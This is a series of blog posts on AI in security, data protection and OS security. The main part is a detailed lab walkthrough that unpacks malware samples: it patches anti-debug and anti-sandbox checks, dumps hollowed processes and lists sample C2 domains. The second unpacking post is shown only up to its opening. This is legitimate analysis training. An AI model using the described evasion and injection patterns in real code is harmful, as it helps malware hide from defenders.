DEV Community: Khalif AL Mahmud

AI in Cybersecurity: Why Artificial Intelligence Is Both Our Strongest Defense and a Growing Threat

Khalif AL Mahmud — Sat, 04 Jul 2026 20:57:44 +0000

AI is everywhere now. It can recognize images, understand language, and even write code on its own by learning patterns from massive amounts of data. Naturally, this same technology has found its way deep into cybersecurity — because let's be honest, the volume of threats and data generated every single day is way too much for humans to handle alone.

But here's the catch: AI in cybersecurity isn't a one-sided story. It's being used for defense and offense, by the good guys and the bad guys, at the same time. Let's break it down.

How AI Is Actually Used in Cybersecurity

On the defense side, AI shows up in a few key ways:

Behavioral Analytics — AI learns what "normal" looks like for a user or network, so it can flag anomalies almost instantly.
SIEM (Security Information and Event Management) — AI helps sift through huge volumes of log data, cutting down false positives and surfacing real threats.
SOAR (Security Orchestration, Automation and Response) — systems can automatically respond to attacks, like blocking a malicious IP or isolating a compromised device, without waiting for a human to click a button.

Security researchers and pentesters also lean on AI for automated vulnerability scanning, source code analysis, and simulating real-world attacks through red teaming.

On the offense side, though, the exact same intelligence is being weaponized. Attackers use AI to build polymorphic malware — malicious code that rewrites itself every time it runs, making it nearly invisible to signature-based antivirus tools.

The Tools Changing Pentesting Right Now

A few AI-driven tools are quietly reshaping how penetration testing works:

PentestGPT — an LLM-powered assistant that walks through pentest methodology step by step, suggesting what technique to try next on a given target.
Burp AI — an AI feature built into Burp Suite that analyzes HTTP requests and explains potential vulnerabilities in plain language.
XBOW — a more autonomous platform that can find and exploit vulnerabilities on its own, then generate the report.

These tools point toward a future where AI-assisted workflows shrink the amount of manual grunt work in pentesting — but as we'll get to, they don't remove the human from the loop entirely.

The Real Advantages

Speed and scale — analyzing thousands of logs instantly is trivial for AI, brutal for humans.
Catching unknown threats — pattern recognition can flag zero-days even without a known signature.
Fewer false positives — context-aware alerts mean analysts stop drowning in noise.
Automated response — SOAR systems act the moment an attack is detected.
Doing more with less — even small security teams can now monitor large infrastructure.

The Limitations Nobody Should Ignore

Dual-use risk — anything built for defense can be repurposed for attack (AI-written phishing emails, polymorphic malware).
The black box problem — it's often impossible to explain why an AI model made a decision, which becomes a real headache when that decision needs to hold up as evidence.
False negatives — a poorly trained model can simply miss a real threat.
Garbage in, garbage out — AI is only as good as the data it was trained on.
Human verification is non-negotiable — trusting an AI-generated report or payload blindly is a mistake waiting to happen.

What an AI-Assisted Pentest Workflow Actually Looks Like

Recon — gathering target information using tools like Shodan, Censys, plus AI-assisted OSINT.
AI Analysis — an LLM reviews the collected data and flags potential vulnerabilities.
Payload/Exploit Suggestions — tools like PentestGPT propose exploit ideas, which are never used blindly.
Human Validation — a real pentester checks everything before it ever reaches a client report.

Speed and efficiency come from the AI. The final call still belongs to a human.

Where This Is All Heading

The numbers here are genuinely wild: a cyberattack happens roughly every 39 seconds, and global cyber damage is projected to hit around $10.5 trillion by 2026. At the same time, there are over 3.5 million unfilled cybersecurity jobs worldwide. Put those two facts together and it's obvious why AI-augmented defense isn't optional anymore — it's how the industry keeps up.

Expect Agentic AI — systems that can run an entire pentest or threat-hunting operation with minimal human input — to keep advancing. But the threat side is evolving just as fast: AI-generated malware, deepfake-based fraud, and hyper-convincing AI phishing are only going to get more sophisticated. Understanding how these tools work, and where they fall short, is becoming a baseline skill for anyone in security — not a nice-to-have.

Cyber Law and Ethics in the Age of AI

Technology moves fast. Law, by nature, moves slower. That gap is exactly where most of today's problems live.

What Cyber Law Actually Covers

At its core, cyber law exists to:

Protect data — safeguarding sensitive user information and privacy.
Prevent crime — defining and punishing things like unauthorized access and data breaches.
Protect intellectual property — covering copyrights on digital content and software.
Legitimize e-commerce — making online transactions safe and enforceable.

In short, cyber law defines who's allowed to do what in the digital world — and what happens when they don't.

What Cyber Ethics Actually Means

Ethics is the part that isn't always written into law but absolutely should guide how a security professional behaves. It rests on three pillars:

Integrity — never making harmful changes to a client's system, and never exploiting a found vulnerability for personal gain.
Privacy — never leaking sensitive data, source code, or credentials discovered during testing.
Accountability — staying within scope and delivering complete, honest reports.

Technical skill makes someone a hacker. Ethics and legal compliance are what make someone a security professional.

Cybercrime Has Changed Shape

The old advice — "check for spelling mistakes in phishing emails" — barely applies anymore. AI tools (including malicious variants of language models) can now scrape someone's LinkedIn or social profile and generate a perfectly personalized, grammatically flawless spear-phishing email.

Deepfake-driven executive impersonation is another major shift — fake audio or video of a company executive used to authorize fraudulent transfers. One well-documented case involved a multinational company losing roughly $25 million this way.

Malware itself has evolved too: polymorphic and metamorphic code rewrites its own structure on every execution, defeating traditional signature-based detection.

All of this creates brand-new legal headaches:

Attribution problem — proving who actually launched an attack.
Cross-border jurisdiction — whose laws apply when the attacker and victim are in different countries?
Algorithmic black box — how do you prove intent or fault in court when an AI system acted semi-autonomously?

What "Legal Use" of AI in Security Actually Requires

The one condition that separates legal from illegal use of AI in security work is simple: written consent. Testing a system you have explicit permission to test, participating in an official bug bounty program, or running malware analysis in your own isolated lab — all fine. Accessing a system without authorization, sniffing traffic on public networks, or using AI-generated exploits to steal and sell data — all firmly illegal, regardless of how the AI was used.

Internationally, frameworks like the EU AI Act and the NIST AI Risk Management Framework are starting to formalize this. The EU AI Act, for instance, requires strict audits for high-risk AI systems and mandates watermarking for deepfake content.

Using AI Tools Ethically

A few ground rules that matter regardless of jurisdiction:

Responsible disclosure — if you find a vulnerability, report it to the vendor privately (commonly with a 90-day window to patch) instead of dropping it publicly.
Know the model's limits — AI suggestions are not automatically correct. Treat them as a starting point, not gospel.
Don't break production — intentionally crashing a client's live system to "prove a point" is unethical, full stop.
Respect scope — testing anything outside the agreed boundaries is off-limits, even if you stumble onto a real bug there.

And here's the line that matters most: "the AI made a mistake" is not a legal defense. Responsibility always sits with the human operating the tool.

Rules of Engagement (ROE) and Scope

Before any penetration test begins, a signed Rules of Engagement agreement should be in place. It typically covers:

What the tester is and isn't allowed to do.
A defined testing window (often off-peak hours).
Which tools/techniques are permitted (e.g., is automated AI-driven exploitation allowed? Social engineering?).
An emergency contact in case something breaks mid-test.

Scope then draws the exact boundary — which domains, IPs, or applications are in-scope, and which (like third-party payment gateways or cloud infrastructure you don't own) are strictly off-limits. Skipping the ROE step isn't just risky — it can turn a legitimate test into an actual crime.

Why Responsible Practice Matters More Than Ever

Because AI-driven threats evolve faster than legislation can keep up, professionals need to hold themselves to a higher bar than the law strictly requires. That means:

Keeping meticulous documentation and command logs.
Maintaining proper chain of custody for sensitive data.
Securely wiping any collected data per agreed policy once the engagement ends.
Following established frameworks like OWASP and NIST.
Testing new tools or exploits in an isolated lab before anywhere near production.

The real goal is avoiding two traps: being legal but unethical, or ethical but illegal. A serious security professional has to satisfy both — because technical skill alone won't protect your career or credibility if either one slips.

The Takeaway

AI is now a genuine dual-use technology in cybersecurity — a force multiplier for defenders and attackers alike. Tools like PentestGPT, Burp AI, and XBOW make the work faster, but the final judgment call still has to be human, because when AI gets something wrong, the AI doesn't carry the consequences — the person using it does.

Technical skill can make someone a hacker. Ethics, scope discipline, and legal compliance are what make someone a security professional. And since AI keeps outpacing the law, new problems like attribution and jurisdiction are only going to get messier. Building ethics and responsibility alongside technical ability isn't optional anymore — it's the actual job.

How Can We Secure Data at Every Stage of the Data Lifecycle?

Khalif AL Mahmud — Tue, 30 Jun 2026 11:36:10 +0000

Data security is important at every stage of the data lifecycle. Data can exist in three different states:

Data at Rest (DAR)
Data in Motion (DIM)
Data in Use (DIU)

Let's briefly look at each stage.

Data at Rest (DAR)

Data at Rest (DAR) refers to data that is stored on devices such as hard drives, SSDs, or cloud storage. It can be protected by using encryption, strong passwords, and proper access control so that unauthorized users cannot read or modify the data.

Data in Motion (DIM)

Data in Motion (DIM) refers to data that is being transferred over a network. It is usually secured by encryption protocols such as TLS/SSL, VPNs, and secure communication channels to prevent interception or tampering.

Data in Use (DIU)

The most challenging stage is Data in Use (DIU), which means the data is actively being processed by the computer and is temporarily stored in RAM (Random Access Memory).

In most cases, data in RAM is kept in plain text so that the CPU can process it quickly. Because of this, it is impossible to make data in RAM completely secure all the time.

However, it is possible to improve its security. Modern technologies such as Trusted Execution Environments (TEE), Intel SGX, AMD SEV, and memory encryption help protect data while it is being processed. Operating systems also use memory isolation, access control, and application sandboxing to reduce the risk of unauthorized access.

Even with these protections, if an attacker gains high-level system privileges or exploits hardware vulnerabilities, sensitive data may still be exposed.

Therefore, data in use can be secured to a great extent, but it cannot be made 100% secure, because the CPU must access the data in its original form to perform computations.

Conclusion

Among the three stages of the data lifecycle, Data in Use (DIU) remains the most difficult to secure. While modern hardware and operating systems provide several protection mechanisms, complete security is still not possible due to the fundamental requirement that the CPU must access data in its original form during computation.

Is Linux Secure? Is Windows Secure? Which Operating System is More Secure?

Khalif AL Mahmud — Tue, 30 Jun 2026 11:29:27 +0000

Linux and Windows are the two most widely used operating systems today. Many people believe Linux is completely secure, while others think Windows is less secure because it is frequently targeted by hackers. However, the reality is that no operating system is completely secure.

Every operating system has strengths and weaknesses, and its security depends on how it is configured, maintained, and used.

Is Linux Secure?

Linux is generally considered a secure operating system because of its strong permission model and lower exposure to malware. It is widely used in servers, cloud computing, and enterprise environments. Since Linux is open source, security researchers can quickly identify and fix vulnerabilities.

However, Linux is not perfect. Software bugs, security flaws, and poor system configurations can still create vulnerabilities. If updates are ignored or security best practices are not followed, Linux systems can also be compromised.

Is Windows Secure?

Windows has become much more secure over the years. It includes several built-in security features such as Microsoft Defender, Windows Firewall, BitLocker, and automatic security updates. These features help protect users against many common cyber threats.

On the other hand, Windows is the most widely used operating system in the world. Because of its popularity, it is also a primary target for malware, ransomware, phishing attacks, and other cyber threats. Keeping Windows updated and following safe security practices are essential.

Which Operating System Is More Secure?

There is no single answer to this question.

Linux is often preferred for servers and enterprise environments because of its security model and flexibility. Windows offers strong built-in security features and is easier for most users to manage.

Ultimately, the security of any operating system depends on:

Regular updates
Timely security patches
Proper configuration
Strong passwords
Responsible user behavior

Conclusion

Neither Linux nor Windows is 100% secure. Both operating systems have vulnerabilities that attackers can exploit.

A secure system depends not only on the operating system itself but also on how well it is configured, maintained, and used.

There is no operating system that is completely secure.

If you have a different perspective on Linux vs. Windows security, feel free to share your thoughts in the comments.

Malware Unpacking & Anti-Analysis Bypass: A Deep Dive into Real-World Techniques

Khalif AL Mahmud — Fri, 26 Jun 2026 18:21:16 +0000

Malware authors don't make our job easy. Every time we think we've figured out their tricks, they layer on another obfuscation technique, another anti-debugging check, another sandbox evasion. Over the past few weeks, I've been deep in the trenches with some particularly stubborn samples — the kind that detect your debugger, hide their strings behind XOR encoding, and hollow out legitimate processes to hide their payload.

This article walks through my hands-on exploration of these techniques. We'll look at how malware detects analysis tools, how it obfuscates its strings, how it unpacks itself in memory, and most importantly — how we can bypass these defenses to see what the malware is actually trying to do.

The tools we'll use:

x64dbg/x32dbg for dynamic analysis and patching
IDA Pro for static disassembly
REMnux (Linux toolkit) for string deobfuscation
FLOSS, XORSearch, bbcrack for automated string decoding
Scylla & OllyDumpEx for dumping unpacked payloads
Process Hacker for memory forensics

Problem Statement

Modern malware is rarely "what you see is what you get." A single executable might be:

Packed — the actual malicious code is compressed/encrypted and only revealed at runtime
Anti-debug aware — it checks for debuggers and changes behavior or terminates
Sandbox-aware — it detects virtualized environments and refuses to execute its payload
String-obfuscated — URLs, registry keys, and IOCs are encoded to evade signature detection
Process-injecting — it hollows out a legitimate process (like explorer.exe) and runs its code there

Our goal: peel back these layers and extract the real payload for analysis.

Exercise 1: Bypassing Debugger Detection in `getdown.exe`

What I Found

The first sample, getdown.exe, refused to show any network activity when run inside a debugger. Outside the debugger, it connected to 1.234.27.146:80. Classic anti-debugging behavior.

The Detection Mechanism

Using x64dbg, I searched for intermodular calls and immediately spotted IsDebuggerPresent at the top of the list:

call qword ptr ds:[<&IsDebuggerPresent>]
test eax, eax
jne getdown.140001216  ; jumps away if debugger detected

When IsDebuggerPresent returns 1 (debugger present), the JNE jumps to code that terminates the process. When it returns 0, execution continues normally.

The Bypass

I set a breakpoint on the TEST EAX, EAX instruction after the call. When hit, RAX contained 1 — confirming debugger detection. The fix was simple: patch the conditional jump to unconditional NOPs.

; Before (at 14000102C):
jne getdown.140001216

; After patching:
nop
nop
nop
nop
nop
nop

In x64dbg: select the JNE instruction → press Space → type NOP → enable "Fill with NOP's" → OK. Now the malware executes its payload regardless of what IsDebuggerPresent returns.

Exercise 2: Deobfuscating Encoded Strings

Malware hides its strings using simple encoding algorithms. I experimented with several tools to decode them.

Tool 1: XORSearch

Searching for the known IP 1.234.27. inside getdown.exe:

xorsearch -i -s getdown.exe 1.234.27.

Output revealed an XOR key of 0x83. The -s flag generated getdown.exe.XOR.83 — a fully decoded file. Extracting strings from it:

strings getdown.exe.XOR.83 | more

This surfaced not just the C2 URL, but also an affiliate ID string — a nice unexpected find.

Tool 2: brxor.py & bbcrack.py

On hubert.dll, brxor.py automatically found XOR key 0x5 and decoded English-language strings:

brxor.py hubert.dll

The output suggested this sample was a fake antivirus tool, complete with registry key paths and URL patterns — solid IOCs for further hunting.

For deeper analysis, bbcrack.py with single-level transformations:

bbcrack.py -l 1 hubert.dll

This generated hubert_xor05.dll. Running strings on it confirmed the decoded content matched and extended what brxor.py found.

Tool 3: Manual Stack String Decoding in IDA

Some malware builds strings character-by-character on the stack at runtime. In 9.exe, between offsets 40133D and 4013B8, I found a block of MOV instructions pushing single bytes:

mov byte ptr [ebp+var_4], 5Ch  ; ''
mov byte ptr [ebp+var_3], 50h  ; 'P'
; ... etc

In IDA, highlighting each hex value and pressing R converts it to ASCII. Doing this for the entire block revealed the string:

\Program Files\Common Files\

Tool 4: Automated Stack String Extraction

For 9.exe, strdeob.pl on REMnux decoded these automatically:

strdeob.pl 9.exe | more

This found more strings than FLOSS managed to extract, showing the value of combining multiple tools:

floss 9.exe > 9-floss.txt

Exercise 3: Unpacking `drtg.exe` Using `RtlDecompressBuffer`

Static Recon with FLOSS

Before touching the debugger, I ran FLOSS on drtg.exe:

floss drtg.exe > drtg-floss.txt

FLOSS decoded 27 obfuscated strings, including:

NtAllocateVirtualMemory
ZwProtectVirtualMemory
ZwWriteVirtualMemory
RtlDecompressBuffer

These APIs scream "unpacking and injection." The presence of RtlDecompressBuffer was particularly interesting — it decompresses a buffer using a known compression algorithm.

Dynamic Unpacking in x32dbg

Enable ScyllaHide (Plugins → Scylla Hide → Options → check all first-column boxes) to cloak the debugger.
Set breakpoint on RtlDecompressBuffer:

   SetBPX RtlDecompressBuffer

Run (F9) until the breakpoint hits inside ntdll.dll.
Follow the UncompressedBuffer parameter (second arg, [esp+8]) in the Dump panel. Initially all zeros.
Set a return breakpoint at 402D66 (where execution returns after RtlDecompressBuffer):
- Go to 402D66 (Ctrl+G)
- Toggle breakpoint (F2)
- Run (F9)
After returning, the Dump panel shows decompressed data. Step over (F8) nine times until offset 4022CC. The dump now shows:

4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00  MZ.ÿÿ..
B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00  ¸.......@.......

That MZ header and "This program cannot be run in DOS mode" confirms a valid PE file was decompressed into memory.

Dump the memory region: Right-click Dump → Follow in Memory Map → right-click region → Dump Memory to File → save as drtg-dumped.exe.

Verification

Loaded drtg-dumped.exe in PeStudio — parsed successfully. Checked imports and found NtQueryInformationProcess — another anti-debug API.

Bonus: Finding the Anti-Debug Check

In IDA, at offset 4054B7:

push 7                    ; ProcessInformationClass = 7 (debug port)
lea eax, [ebp-4]
push eax                  ; ProcessInformation
push 4                    ; ProcessInformationLength
call GetCurrentProcess
push eax                  ; ProcessHandle
call NtQueryInformationProcess
cmp dword ptr [ebp-4], 0
jnz short loc_4058C9      ; jumps to ExitProcess if debugged

The value 7 for ProcessInformationClass retrieves the debugger port number. Non-zero means a debugger is attached. To bypass: patch the JNZ at 4054C1 to JZ — invert the logic.

Exercise 4: Behavioral Analysis of `WinHost32.exe`

Before unpacking, I wanted to see what this sample actually does when it runs.

Setup

REMnux: Wireshark capturing
Windows REM Workstation: Process Hacker + Process Monitor running

Infection

Ran WinHost32.exe for ~30 seconds, then terminated it.

Network Findings (Wireshark)

DNS queries attempting to resolve google.com. No direct C2 connections in the short window — likely a connectivity check before revealing true behavior.

Process Monitor → ProcDOT

Exported the ProcMon log as CSV, loaded it into ProcDOT:

Selected the initial WinHost32.exe PID as the launcher
Generated the graph

The graph revealed process hollowing: the initial process spawned a child process with the same name. The child process showed registry activity (likely false positives, but worth noting).

Exercise 5: Unpacking `WinHost32.exe` (Process Hollowing)

Static Analysis in IDA

At offset 4021AE, CreateProcessA is called with dwCreationFlags = 4:

push 4                    ; CREATE_SUSPENDED
push ...
call CreateProcessA

CREATE_SUSPENDED is a red flag — the process starts with its main thread frozen, ready for manipulation.

Following the code:

40220D: VirtualAllocEx with flProtect = 0x40 (PAGE_EXECUTE_READWRITE)
402237: WriteProcessMemory — writing into the suspended process
4021F7: call edi where EDI = NtUnmapViewOfSection

This is the process hollowing pattern: unmap the legitimate executable's memory, allocate new RWX memory, write the malicious payload, then resume the thread.

Dynamic Extraction in x32dbg

Load WinHost32.exe, go to 402237 (Ctrl+G)
Set breakpoint on the call ebp (WriteProcessMemory)
Run (F9) until breakpoint
The lpBuffer parameter (3rd arg, [esp+8]) points to the payload. Follow in Dump
Dump shows MZ header — the payload is a full PE
Follow in Memory Map → Dump Memory to File → winhost32-dumped.exe

Verification

PeStudio confirmed it's a valid PE. Strings revealed:

Multiple suspicious URLs
google.com (the connectivity check we saw in Wireshark)
Many more plaintext strings than the packed version

Exercise 6: Anti-Sandbox via Mouse Hooks (`vbprop.exe`)

Some malware refuses to execute until a real user interacts with it. This sample uses SetWindowsHookExA to wait for mouse events.

The Hook Setup (IDA)

At 40103E:

push 0                    ; hmod = 0 (current process)
push offset fn            ; lpfn = 4010B0 (our hook function)
push 0Eh                  ; idHook = WH_MOUSE (0x0E)
call SetWindowsHookExA

The hook function at 4010B0 checks wParam:

0x200 (WM_MOUSEMOVE) → pass to next hook
0x201 (WM_LBUTTONDOWN) → pass to next hook
0x202 (WM_LBUTTONUP) → unhook and execute malicious payload (sub_401170)

The malware only reveals itself when you release the left mouse button. Automated sandboxes that don't simulate real mouse clicks will never see the payload execute.

Exercise 7: Sandbox Evasion via Connectivity Check (`winhost32-dumped.exe`)

The unpacked WinHost32.exe checks for internet connectivity before executing its payload. It doesn't just check if the network is up — it downloads http://google.com and verifies the response starts with <!do (the beginning of <!doctype html>).

The Logic Flow

sub_401A90():
    download http://google.com
    check if buffer[0:4] == "<!do"
    return 1 if match, 0 otherwise

Caller at 4023B0:
    call sub_401A90
    test eax, eax
    jnz loc_4023C6        ; success path
    push 0EA60h           ; 60000 ms = 1 minute
    call Sleep
    jmp loop_start        ; try again forever

If no Google connectivity: sleep 60 seconds, retry indefinitely. The payload never executes.

The Bypass

At offset 4023B7, change JNE to JMP — unconditional jump over the Sleep:

; Before:
jne short loc_4023C6

; After:
jmp short loc_4023C6

In x32dbg: select instruction → Space → type jmp → OK. Now the malware executes its payload even when offline.

After patching, running the sample with fakedns on REMnux revealed DNS queries for:

callereb.com
supketwron.ru

These were completely hidden before bypassing the connectivity check.

Exercise 8: Toolkit Detection in `raas.exe`

This sample was the most paranoid I've seen. It checks for:

AVG (avghookx.dll via GetModuleHandleW)
OllyDbg (window title "OLLYDBG" via FindWindowW)
WinDbg, Immunity, Zeta, Rock, Obsidian debuggers (same technique)
Kernel debugger (reads KdDebuggerEnabled flag at 7FFE02D4)
Process names (ProcMon, ProcExp, IDA, WinDbg via CreateToolhelp32Snapshot loop)
VMware (registry key HARDWARE\DEVICEMAP\Scsi\Scsi Port 0 checks for "VMware" identifier)

The Detection Function (`402BD6`)

This function returns 1 if any toolkit is detected, 0 otherwise. The caller at 401263:

call sub_402BD6
test eax, eax
jne loc_4013BE          ; jumps to ExitProcess if detected

Bypass Strategy

Multiple options:

Modify EAX after the call — set to 0 manually in registers panel
Patch JNE at 401265 to NOPs — never jump to ExitProcess
Use ScyllaHide — cloaks many of these checks automatically

I also had to patch a secondary check at 40123F that looked for dwmapi.dll (present when running patched code for some reason).

Exercise 9 & 10: SEH Abuse and Unpacking `windowsxp2.exe`

SEH as a Red Herring

windowsxp2.exe sets up a Structured Exception Handler early:

push offset handler_519870
push dword ptr fs:[0]
mov dword ptr fs:[0], esp

Then it deliberately causes an access violation. The "handler" at 519870 isn't handling an error — it's the real entry point of the unpacked code. The exception is intentional misdirection.

Stack Breakpoint Method for Unpacking

Instead of tracing through the SEH maze, I used a stack breakpoint to catch the unpacking near the Original Entry Point (OEP):

Execute first two instructions (writes to stack)
Set hardware breakpoint on the top of stack (Hardware → Access → Dword)
Run (F9) — let it hit the breakpoint 5 times
At 51993D: jmp eax — potential OEP jump

Verification

Search for string references in the current region — suddenly dozens of URLs appear, confirming unpacked code.

Dumping and Fixing IAT

Step into jmp eax (F7) — lands at 4028E8 (OEP)
OllyDumpEx: Plugins → OllyDumpEx → Dump process → save as windowsxp2_dump.exe
Scylla: Plugins → Scylla → IAT Autosearch → Get Imports → Fix Dump → select windowsxp2_dump.exe
Generates windowsxp2_dump_SCY.exe with reconstructed imports

Confirmation

Ran the dumped file — showed a fake error dialog "Requerido Windows NT Server." Process Hacker confirmed it runs as windowsxp2.exe. BinText revealed far more strings than the packed version.

Exercise 11: TLS Callbacks and Advanced Anti-Debug (`lansrv.exe`)

TLS Callback Discovery

Thread Local Storage (TLS) callbacks run before the main entry point. Malware uses them to execute anti-debug checks early.

pescanner.py lansrv.exe | more

Output showed TLS callback at 401031.

Debugging the Callback

In x32dbg: Options → Preferences → Events → enable System Breakpoint
Restart (Ctrl+F2) — pauses at system breakpoint before TLS runs
Go to 401031 (Ctrl+G) → set breakpoint → Run (F9)

At 4011BA, the unpacked code calls IsDebuggerPresent. But here's the twist: it doesn't act on the result immediately. It stores it for later:

call eax                  ; IsDebuggerPresent
jne short loc_4011C4      ; skip ADD if no debugger
add eax, 0Ah              ; if debugger: 1 + A = B (hex)
loc_4011C4:
mov ds:[ecx], eax         ; store result at 401015

If debugger detected: stores 0xB at 401015. If not: stores 0.

The SEH Swap

Later, at 401289, the code does something weird:

mov gs, ax                ; make GS behave like FS
mov eax, dword ptr gs:[0] ; read SEH chain head
; ... manipulations ...
mov dword ptr ds:[edx], eax  ; overwrite handler with 403FEF

It swaps the SEH handler to point to 403FEF — the malicious handler.

The Division by Zero Trap

At 4012C8:

mov ecx, dword ptr ds:[esi+10]  ; loads value from 401015
; ...
div ecx                           ; divide by ECX

If debugger was detected earlier, ECX = 0xB → division succeeds → execution continues down the wrong path (crash).

If no debugger, ECX = 0 → divide by zero exception → Windows calls the swapped SEH handler at 403FEF → true execution path.

To force the correct path in the debugger, I manually set ECX = 0 before the DIV instruction. The exception fired, and the breakpoint at 403FEF caught the real payload unpacking.

Exercise 12: Unpacking `yep.exe` with pe_unmapper

IAT Analysis

PeStudio showed only these DLLs in the IAT: user32.dll, kernel32.dll, comctl32.dll, shell32.dll. Any LoadLibraryA call loading something else (like msvcrt.dll) suggests dynamic resolution — common in packed malware.

Breakpoint Strategy

SetBPX LoadLibraryA

Ran and hit the breakpoint multiple times. On the 5th hit, loading msvcrt.dll — not in the IAT. This is our signal.

Finding VirtualProtect

After returning from LoadLibraryA, scrolled down 114 instructions to find VirtualProtect. The first parameter pointed to a memory region containing a full PE file (MZ header visible in Dump).

Second VirtualProtect Call

35 instructions below, another VirtualProtect call with:

Address: 401000
Protection: 0x20 (PAGE_EXECUTE_READ)

This is making code executable — the payload is about to run.

Caching the Execution

Set a hardware execution breakpoint on 401000. Ran (F9) — hit! The unpacked code is now executing.

Extraction and Fixing

Dump from Memory Map: yep-dumped.exe
Fix with pe_unmapper:

   pe_unmapper yep-dumped.exe 400000 yep-dumped-fixed.exe

Fix IAT with Scylla: IAT Autosearch → Get Imports → Fix Dump → select yep-dumped-fixed.exe
Output: yep-dumped-fixed_SCY.exe — fully functional unpacked binary

Exercise 13 & 14: Code Injection Forensics (`known.exe`)

Memory Forensics with Volatility

On a memory dump (known.vmem):

export VOLATILITY_PROFILE=Win10x86
vol.py -f known.vmem malfind -D /tmp > known-malfind.txt

The malfind plugin found injected code in multiple processes, including explorer.exe. The extracted files were 132K each — same size across 21 processes, suggesting identical payload injected everywhere.

Live Extraction with Process Hacker

Infected the system with known.exe, then:

Opened Process Hacker — two explorer.exe processes appeared
The child process (no children of its own) was the hollowed one
Properties → Memory tab → sort by Protection → look for RWX regions
Found a 132K RWX region — matches the Volatility finding
Double-clicked to view contents — strings included .onion domains
Right-click → Save → explorer-dumped.exe

Fixing the Dump

pe_unmapper explorer-dumped.exe 0x3560000 explorer-dumped-fixed.exe

PeStudio now showed complete section details, IAT, and strings — ready for deeper static analysis in IDA.

Catching Injection Live with x32dbg

For real-time analysis of the injection:

Instance 1 (known.exe): Breakpoints on CreateProcessA and CreateProcessW
Ran — hit CreateProcessW launching C:\Windows\SysWOW64\explorer.exe
dwCreationFlags = 0x80000004 → CREATE_SUSPENDED confirmed
Instance 2 (new x32dbg): File → Attach → select the suspended explorer.exe
Options → Preferences → Events → enable Thread Entry
Back in Instance 1: Run (F9) — known.exe injects and resumes explorer.exe
In Instance 2: Run (F9) — pauses at first thread entry (legitimate DLL thread)
Run again — pauses at second thread entry. Title bar shows no DLL name — this is our injected code
String references in this region revealed malicious strings, confirming the injection point

How to Verify Your Unpacked Payload

Check	Tool	What to Look For
Valid PE structure	PeStudio	Sections, IAT, headers parse correctly
Executable runs	Direct execution	Should show behavior (even if fake error)
Strings exposed	BinText / FLOSS	URLs, registry keys, C2 domains visible
Imports resolved	Scylla / IDA	No "x" marks in Scylla, valid API names
MZ header present	x32dbg Dump	`4D 5A` at offset 0, DOS stub string
No packer signatures	PEiD / Exeinfo	Shows "Not packed" or compiler name

What I Learned

Anti-debugging is layered — it's never just IsDebuggerPresent. Modern samples check kernel flags, window titles, loaded DLLs, process lists, registry keys, and timing.
Unpacking is about anticipation — set breakpoints on APIs that appear near the end of unpacking (VirtualProtect, WriteProcessMemory, RtlDecompressBuffer, LoadLibraryA for unexpected DLLs).
String obfuscation is simple but effective — XOR with single-byte keys, stack strings built at runtime. FLOSS and strdeob.pl automate a lot, but manual IDA inspection still catches what automation misses.
Process hollowing follows a pattern — CreateProcess (suspended) → NtUnmapViewOfSection → VirtualAllocEx (RWX) → WriteProcessMemory → resume thread. Recognize the pattern, intercept at WriteProcessMemory.
SEH and TLS are misdirection tools — malware uses exception handlers and pre-main callbacks to execute code before you think execution has started. Always check for TLS callbacks with pescanner.py.
Sandbox evasion is behavioral — mouse hooks, connectivity checks, sleep loops. These aren't code-level defenses; they're environment-aware defenses. Patch the environment check (or the code) to proceed.
Memory forensics complements live debugging — Volatility's malfind finds injected code in dumps; Process Hacker extracts it live. Both approaches validate each other.

Common Mistakes

Mistake	Why It Happens	How to Avoid
Forgetting ScyllaHide	Debugger detected immediately, sample terminates before unpacking	Enable ALL first-column options before running
Patching at wrong offset	Changing the comparison instead of the jump	Trace the full logic: where is the result used? Patch the action, not the check
Dumping too early	MZ header not fully formed, incomplete payload	Wait for second `VirtualProtect` or until code execution begins
Not fixing IAT	Dumped file crashes on launch, missing imports	Always use Scylla/OllyDumpEx to reconstruct imports
Ignoring TLS callbacks	Anti-debug runs before you set breakpoints	Enable System Breakpoint in x32dbg preferences
Forgetting pe_unmapper	Dumped file has wrong base addresses, won't analyze properly	Note the memory base address from Memory Map, pass to pe_unmapper
Single-tool reliance	FLOSS misses stack strings, XORSearch misses non-XOR encoding	Use multiple tools: FLOSS + strdeob.pl + bbcrack + manual IDA

Conclusion

Unpacking malware is less about following a rigid recipe and more about recognizing patterns and knowing where to intervene. The samples I worked with each had their own personality: getdown.exe was straightforward with its IsDebuggerPresent check; lansrv.exe was a maze of TLS callbacks and SEH manipulation; raas.exe was paranoid, checking for every tool in the book.

The common thread? They all follow predictable patterns. Once you know what VirtualAllocEx + WriteProcessMemory looks like in assembly, once you know that CREATE_SUSPENDED means process hollowing, once you know that RtlDecompressBuffer signals a packed payload — you know where to set your breakpoints.

The best part is that these techniques transfer. Whether you're looking at a commodity info-stealer or a targeted APT payload, the unpacking patterns are the same. The defenses get more elaborate, but so do our tools and our intuition.

If you're getting into malware analysis, my advice is: build a lab, break things, and document everything. The act of writing down what you did — why you set that breakpoint, what that register value meant — is what turns a one-off success into repeatable skill.

From Packed Binary to Readable Code: A Hands-On Walkthrough of Unpacking, Shellcode Analysis, and Memory Forensics

Khalif AL Mahmud — Fri, 26 Jun 2026 17:05:26 +0000

A few weeks ago I spent a full lab session doing something that sounds simple on paper and is genuinely satisfying in practice: taking a packed, obfuscated piece of malware and peeling back every layer until I could see what it actually does.

This post is my write-up of that session. It's long, because the lab itself covered a lot of ground — static analysis, manual unpacking with a debugger, multi-stage shellcode extraction, code injection patterns, API hooking, and finally memory forensics with Volatility. I'm documenting it the way I wish more "intro to malware analysis" posts were documented: with the actual commands, the actual reasoning behind each step, and the dead ends along the way.

If you're getting into reverse engineering or malware analysis, this should give you a realistic feel for what a packed-malware investigation actually looks like end to end — not just the highlight reel.

A quick but important note: this entire exercise was done on isolated, throwaway virtual machines (a Windows analysis VM with no network access beyond an internal isolated segment, plus a REMnux Linux VM) using known teaching specimens. Never run unknown executables, run unpackers, or experiment with shellcode on a machine connected to a real network or containing real data. Everything here assumes a fully isolated, snapshot-able VM setup.

Problem Statement

Modern malware rarely ships as a plain, readable executable. Authors wrap their code in packers (like UPX) to shrink the file and make static analysis harder, and they layer in techniques like shellcode, code injection, and API hooking to evade detection and persist on a system. As an analyst, your job is to answer a chain of questions:

Is this file packed, and with what?
Can I unpack it automatically, or do I need to dump it manually from memory?
What does the unpacked code actually do?
